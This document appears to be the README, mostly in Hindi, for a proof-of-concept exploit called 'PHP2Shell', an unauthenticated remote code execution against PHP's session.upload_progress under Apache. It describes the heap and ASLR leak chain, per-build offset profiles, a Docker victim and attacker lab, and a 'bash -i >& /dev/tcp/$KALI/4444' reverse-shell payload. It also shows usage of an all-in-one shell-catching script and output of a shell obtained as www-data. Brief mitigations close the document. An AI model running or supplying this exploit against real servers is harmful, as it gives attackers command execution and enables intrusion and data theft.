
PHP session.upload_progress प्री-ऑथ RCE (PHP2Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें हीप/ASLR लीक, प्रति-बिल्ड ऑफ़सेट प्रोफ़ाइल, और एक ऑल-इन-वन रिवर्स शेल हैंडलर शामिल है।
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress प्री-ऑथ RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) Apache
mod_phpके अंतर्गत PHP में एक अप्रमाणित रिमोट कोड एक्ज़ीक्यूशन दोष है। एक तैयार किया गयाmultipart/form-dataअनुरोध प्री-रिक्वेस्टsession.upload_progressहैंडलर में आउट-ऑफ-मेमोरी बेलआउट को ट्रिगर करता है, जिससे पुराने पॉइंटर्स पीछे रह जाते हैं जोSet-Cookieके माध्यम से Zend हीप औरlibphp.soबेस को लीक करते हैं (ASLR को पराजित करते हुए); एक जाली HashTable फिर एक डिस्ट्रक्टर कोzif_systemपर रीडायरेक्ट करता है, जो वेब वर्कर (www-data) के रूप में कमांड चलाता है। किसी प्रमाणीकरण की आवश्यकता नहीं है और कमज़ोर सत्र सेटिंग्स डिफ़ॉल्ट रूप से चालू हैं।
| श्रेणी | संस्करण |
|---|---|
| कमज़ोर | पैच से पहले PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x |
| पैच किया गया | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 या बाद का (2026-10-21) |
| सत्यापित | आधिकारिक php:8.4.26-apache (Debian 13, amd64) पर |
ऑफ़सेट प्रति-बिल्ड (संस्करण · आर्क · डिस्ट्रो) हैं। यह PoC
8.4.26-apache amd64के लिए एक प्रोफ़ाइल के साथ आता है; अन्य बिल्ड्स को अपने स्वयं केprofiles/*.jsonकी आवश्यकता होती है।
www-data) के रूप में रिमोट कोड एक्ज़ीक्यूशनlibphp पॉइंटर्स, और संभवतः सत्र टोकन और कुंजियाँ) RCE से पहले भीविक्टिम = नीचे दिए गए कॉन्फ़िग के साथ आधिकारिक php:8.4.26-apache। हमलावर एक अलग
कंटेनर (eqst-kali) से उसी Docker ब्रिज पर चलता है; रिवर्स शेल उसके IP पर कॉलबैक करता है।
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| पूर्व-शर्त | इस लैब में स्थिति |
|---|---|
PHP 8.2–8.5 (पैच-पूर्व) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69, prefork |
session.upload_progress.enabled | चालू (डिफ़ॉल्ट) |
session.use_strict_mode | 0 (डिफ़ॉल्ट) |
display_errors | चालू (स्टेज-1 लीक को सक्षम करता है) |
memory_limit | 128M (डिफ़ॉल्ट — अपरिवर्तित छोड़ा गया) |
post_max_size / upload_max_filesize > memory_limit (किसी अनुरोध बॉडी को OOM तक पहुँचने देता है) | 256M (अपलोड-सक्षम ऐप्स सामान्यतः इन्हें बढ़ा देते हैं) |
| एकल Apache वर्कर प्रोसेस (स्टेल स्टेट प्रति-प्रोसेस होती है) | 1 |
होस्ट नोट (WSL2): Windows Docker Desktop (WSL2) पर कर्नेल
libphpको0x7c...पर मैप करता है, जो अपस्ट्रीम एक्सप्लॉइट के0x7F...ASLR जाँच से नीचे है, इसलिए यह वैध लीक को त्याग देता है।p2s_shell.pyउस रेंज को स्वतः चौड़ा कर देता है। नेटिव Linux होस्ट पर यह पैच एक नो-ऑप है।
p2s_shell.py एक एकल प्रोसेस है जो अपना स्वयं का लिसनर खोलता है, अपस्ट्रीम एक्सप्लॉइट प्राप्त करता है,
लक्ष्य के PHP संस्करण के अनुसार profiles/*.json से ऑफ़सेट चुनता है, श्रृंखला को ट्रिगर करता है, और
PTY-अपग्रेडेड रिवर्स शेल को पकड़ता है (अलग nc की आवश्यकता नहीं)।
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
एकमुश्त पूर्वापेक्षा: विक्टिम वेब रूट में रिवर्स-शेल पेलोड तैयार रखें (कमांड कैरियर
14 बाइट्स है, इसलिए लंबे पेलोड को एक फ़ाइल में रखकर bash</w/c के माध्यम से चलाया जाता है, अपस्ट्रीम के अनुसार):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
हमलावर के अंदर से PoC चलाएँ (पथ स्क्रिप्ट के सापेक्ष हैं):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
यह X-Powered-By: PHP/8.4.26 का फ़िंगरप्रिंट लेता है, मेल खाती प्रोफ़ाइल लोड करता है, और शेल खोल देता है:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
विकल्प:
--run 'c1;c2' — बैच मोड (इंटरैक्टिव टर्मिनल की आवश्यकता नहीं)--no-pty — PTY अपग्रेड के बजाय एक सादा डम्ब शेल रखें--php-version / --arch — जब X-Powered-By छिपा हो तो लक्ष्य बिल्ड को ओवरराइड करें--lport — रिवर्स-शेल पोर्ट (/w/c में बेक किए गए पोर्ट से मेल खाना चाहिए, डिफ़ॉल्ट 4444)session.upload_progress.enabled = Off सेट करेंdisplay_errors = Off सेट करें (यह शिप किए गए स्टेज-1 लीक को रोकता है)zend_mm_heap corrupted लॉग पंक्तियों की निगरानी करें